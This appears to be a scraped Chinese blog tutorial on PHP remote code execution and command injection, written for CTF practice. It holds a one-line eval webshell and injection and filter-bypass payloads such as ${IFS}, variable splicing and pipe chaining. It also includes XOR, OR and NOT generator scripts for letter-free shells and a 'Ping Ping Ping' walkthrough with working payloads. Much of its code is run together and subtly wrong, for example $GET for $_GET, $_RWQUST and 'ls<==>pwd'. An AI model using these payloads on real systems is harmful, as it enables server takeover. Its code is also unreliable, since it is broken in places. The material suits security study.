web渗透—RCE

news/2024/9/21 11:15:43/文章来源:https://www.cnblogs.com/gsupl/p/18344107

一:代码执行

  • 相关函数

1、eval()函数
assert()函数

(1)原理:将用户提交或者传递的字符串当作php代码执行

(2)passby:单引号绕过:闭合+注释;开启GPC的话就无法绕过(GPC就是将单引号转换为"反斜杠+单引号")

eg:

<?phphighlight_file(__FILE__);//高亮显示代码$cmd = $_GET['cmd']//GET传值:url/?cmd=phpinfo();eval('$cmd');//必须传递一个完整语句;参数后面必须加分号!assert('$cmd');//可以不加分号!
?>
//一句话木马的介绍
<?php eval($_POST["cmd"]);?>

2、preg_replace()

原理:正则表达式的匹配;其中存在一个危险的字符**/e** 修饰符;使preg_replace()将replaement参数当作php代码执行

<?phphighlight_file(__FILE__);preg_replace('/abc/e',$_RWQUST['cmd'],'abcd');//GET传值方式:url/?cmd=phpinfo()preg_replace('/<data>(.*)<\/data>/e','$ret="\\1"',$cmd);
?>//如果匹配到abc,就会将用户传递进来的参数当作php代码进行执行

3、自定义函数

(1)create_function(string $args,string $code)
原理:主要用来创建**匿名函数**;如果没有对传递参数进行过滤;攻击者可以构造特殊的字符串来执行任意命令

<?php$cmd = $_GET['cmd'];//GET传值方式:url/?cmd=phpinfo();$func = create_function('',$_REQUEST['cmd']);$func();
?>

(2)自定义函数回调

<?php判断是否回调//echo is_callable('assert');//可以回调显示1;否则显示0;根据回显函数执行系统命令call_user_func函数//call_user_func('assert',$GET['cmd'])// GET传值:url/?cmd=phpinfo()call_user_func_array函数//$cmd = $GET['cmd']//call_user_func_array('assert',$cmd)//以数组的方式传递;GET传值方式:url/?cmd[]=phpinfo()
?>

4、动态函数

<?php//定义函数输出afunction a(){echo 'a';}//定义函数输出bfunction b(){echo 'b';}//判断是否通过GET方式传递了func参数if(isset($_GET["func"]))){//接受传递的参数$myfunc = $GET["func"];//调用函数执行传递进来的命令echo $myfunc();}//GET传值: url?func=phpinfo();
?>

二:命令执行

  • 命令执行相关函数

(1)system()函数

eg:

system('ls'); #查看当前系统目录.ls<==>pwd
system('ls /'); #查看上一级目录信息
system('cat /falg'); #查看flag内容

(2)exec(参数,执行结果)函数

eg:

<?phphighlight_file(__FILE__);$cmd = $GET['cmd'];exec($cmd.$result);//将用户传递的参数当作系统命令执行;并返回结果给$resultecho $result;var_dump($result)//输出执行命令的参数
?>

(3)shell_exec()函数与passthru函数

原理:与exec的区别就是shell_exec函数和passthru函数会直接输出执行结果

<?phphighlight_file(__FILE__);$cmd = $GET['cmd'];//$output = shell_exec($cmd);//echo $output//passthru($cmd);
?>

(4)反引号

与shell_exec原理相同;对传递进来的cmd参数用反引号括起来(就会当作系统命令执行)

<?php highlight_file(__FILE__);$cmd = $GET['cmd'];$output = `$cmd`echo $output
  • 防御措施

image

  • 验证是否存在命令注入

(1)延时执行

ls -alh|sleep 3
#GET传值方式 url/?cmd=ls|sleep 3;如果延时执行那么存在命令执行;f12在网络中看响应时间

(2)HTTP请求

# 使用nc 和 curl结合使用;判断是否请求成功
nc -lcf 8000
curl ip 8000 //如果nc处有回显信息说明请求连接成功

(3)DNS请求

# 将目标url转为域名
url/?cmd=ping 域名 #根据回显判断是否存在
  • 命令执行绕过

(1)echo拼接(用.进行拼接)

image

换行符(%0a)、 回车符(%0d)、 连续命令(;)、 管道符(|)、 逻辑符(&&,||)
GET传值方式 
url/?cmd=ls;ifconfig<==>url/?cmd=ls|ifconfig<==>url/?cmd=ls%0aifconfig

(2)linux中空格的过滤

空格<==>%09(tab)<==>${IFS}<==>$IFS<==>$IFS$9<==><
eg:
cat flag.php <==>cat%09flag.php<==>cat${IFS}flag.php<==>cat$IFSflag.php<==>cat<flag.php

(3)关键字系统命令被过滤

;a=l;b=s;$a$b<==>ls
GET传值:url/?cmd=pwd;;a=l;b=s;$a$b

(4)base64编码进行绕过

image

三:绕过

(1)在ctf题目当中;我们会碰到过滤字母和数字的情况;可以通过**异或;取反;自增;或**进行绕过

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {eval($_GET['shell']);
}

(2)异或绕过

eg1: 5和z进行异或

原理:字符 “5” 的ascii码是53,其二进制是110101,字母Z的ascii码是90,二进制是1011010;异或一下就是1101111;转化为asscii就是o

image

异或脚本

// rce_xor.php
<?php$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)^urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}
}
fwrite($myfile,$contents);
fclose($myfile);
# -*- coding: utf-8 -*-
# rce_xor.pyimport requests
import urllib
from sys import *
import os
def action(arg):s1=""s2=""for i in arg:f=open("xor_rce.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:#print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="(\""+s1+"\"^\""+s2+"\")"return(output)while True:param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"print(param)

eg:

image

(3)或绕过

<?php/* author yu22x */$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)|urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}
}
fwrite($myfile,$contents);
fclose($myfile);
# -*- coding: utf-8 -*-# author yu22ximport requests
import urllib
from sys import *
import os
def action(arg):s1=""s2=""for i in arg:f=open("or_rce.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:#print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="(\""+s1+"\"|\""+s2+"\")"return(output)while True:param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"print(param)

(4)取反绕过

<?php
//在命令行中运行
// 取反
// 无数字字母getshellwhile(true) {fwrite(STDOUT,PHP_EOL.'[+]your function: ');$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); fwrite(STDOUT,PHP_EOL.'\n[+]your command: ');$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';   //两次取反可得到原结果
}

(5)自增绕过

四:例题讲解

题目1:Ping Ping Ping
首先进行了简单的ping;测试发现过滤了常见的命令连接符;
%0a %0d ; | && || &
使用字典跑一下发现没有对|和;进行过滤;于是列举当前目录/?ip=127.0.0.1|ls
image
尝试查看一下flag.php;发现过滤了空格;于是使用空格字典进行爆破;发现没有过滤${IFS}和$IFS$9!

再次查看发现对flag进行了过滤
(1)方法1
反引号绕过;构造payload;查看当前的所有文件的内容(由于博客的限制;用引号暂代提一下;就是用反引号将ls括起来;就会将ls当作命令执行!)
/?ip=127.0.0.1|cat$IFS$9'ls'
image
(2)方法2;绕过flag的过滤!(linux中的一种语法!)
/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
image

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/781458.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

代码块

代码块 概述:在Java中,使用{}括起来的代码被称为代码块,根据其位置和声明的不同,可以分为局部代码块,构造代码块,静态代码块,同步代码块(多线程讲解)。 (1)局部代码块 在方法中出现;限定变量生命周期,及早释放,提高内存利用率 (2)构造代码块 在类中方法外出现;多…

【书生浦语大模型实战营学习笔记】第一课 浦语大模型全链路开源开放体系

视频内容总结: 视频是由汪周谦主讲, 主题是介绍书生谱语大模型开源开放体系。内容主要包括以下几个方面: 1. **书生谱语大模型的发展历程**: - 从2023年7月6日起,书生谱语大模型(Interlm)开始免费开源并商用,提供了全链条的开源工具体系。 - 2023年9月底,发布了适…

u8g2字体库命名规则及符号库的使用

u8g2字体命名规则 <prefix> _ <name> _ <purpose> <char set> prefix:基本上都是 u8g2;name:一般会挂钩上字符像素使用量,比如5X7purpose: t(transparent)\h(height)\m(monospace)\8(8x8pixe)<purpose> Descriptiont Transparent font, Do not…

Python 虚拟环境安装flask框架 Read timed out.

cmd 输入workon env_name 激活 pip install flask 升级pip: python -m pip install --upgrade pip -i http://pypi.douban.com/simple --trusted-host pypi.douban.com 下载包:以flask-sqlalchemy为例: 方案一:pip install Flask 方案二:pip install flask-sqlalchemy -i…

web渗透—sql注入

一:union联合注入 1、万能密码and优先级高于or,先执行and; 则username = "用户提交" and password ="1"为假;or后面的条件恒为真;则where条件为真;输出admin表中所有的信息select * from admin where username = "用户提交" and password =…

一个好用的消息推送服务【Server 酱】

今天给大家介绍一个好用的消息推送服务Server 酱 Server 酱简介 Server 酱是什么 「Server 酱」,英文名「ServerChan」,是一款「手机」和「服务器」、「智能设备」之间的通信软件。 说人话?就是从服务器、路由器等设备上推消息到手机的工具。 开通并使用上它,只需要一分钟:…

数据接口安全风险监测技术

数据接口: 信息系统之间进行数据传输和交换的一种机制,它描述了一个由接口服务端和客户端端共同遵守的合约,通常会约定数据的格式、通信协议、传输结构等。 风险源: 可能导致危害数据的保密性、完整性、可用性和数据处理合理性等事件的威胁、脆弱性、问题、隐患等。 一、数…

USB协议详解第6讲(USB描述符-端点描述符)

1.USB描述符 USB描述符有设备描述符、标准配置描述符、接口描述符、端点描述符、字符串描述符,HID设备有HID描述符、报告描述符和物理描述符。今天主要是学习USB端点描述符的组成。 2.端点描述符组成 前面讲了设备描述符、标准配置描述符、接口描述符,本篇我们讲解端点描述符…

【Web API 】渗透测试指南

一、概述1.1 API的基本概念1.2 API的作用1.3 API的类型二、Web API 渗透测试2.1 测试工具2.2 信息收集2.2.1 目录扫描2.2.2 网络流量分析2.2.3 使用互联网资源2.3 漏洞检测2.4 实战案例2.4.1 接口枚举2.4.2 参数枚举2.4.3 用户名枚举2.4.4 暴力破解2.4.5 错误信息泄露2.4.6 CRL…

栈和队列part02

今天学习了队列的常见题型:滑动窗口最大值,先进先出不难想到队列,最大值可以考虑优先队列,但是此题还是典型的单调队列(需要自己实现) 前k个高频元素,维护最大值常用优先队列,注意选的最小堆7. 239滑动窗口最大值(队列) 题目:给你一个整数数组 nums,有一个大小为 k…

栈和队列part03

今天学习了队列的常见题型:滑动窗口最大值,先进先出不难想到队列,最大值可以考虑优先队列,但是此题还是典型的单调队列(需要自己实现) 前k个高频元素,维护最大值常用优先队列,注意选的最小堆7. 239滑动窗口最大值(队列) 题目:给你一个整数数组 nums,有一个大小为 k…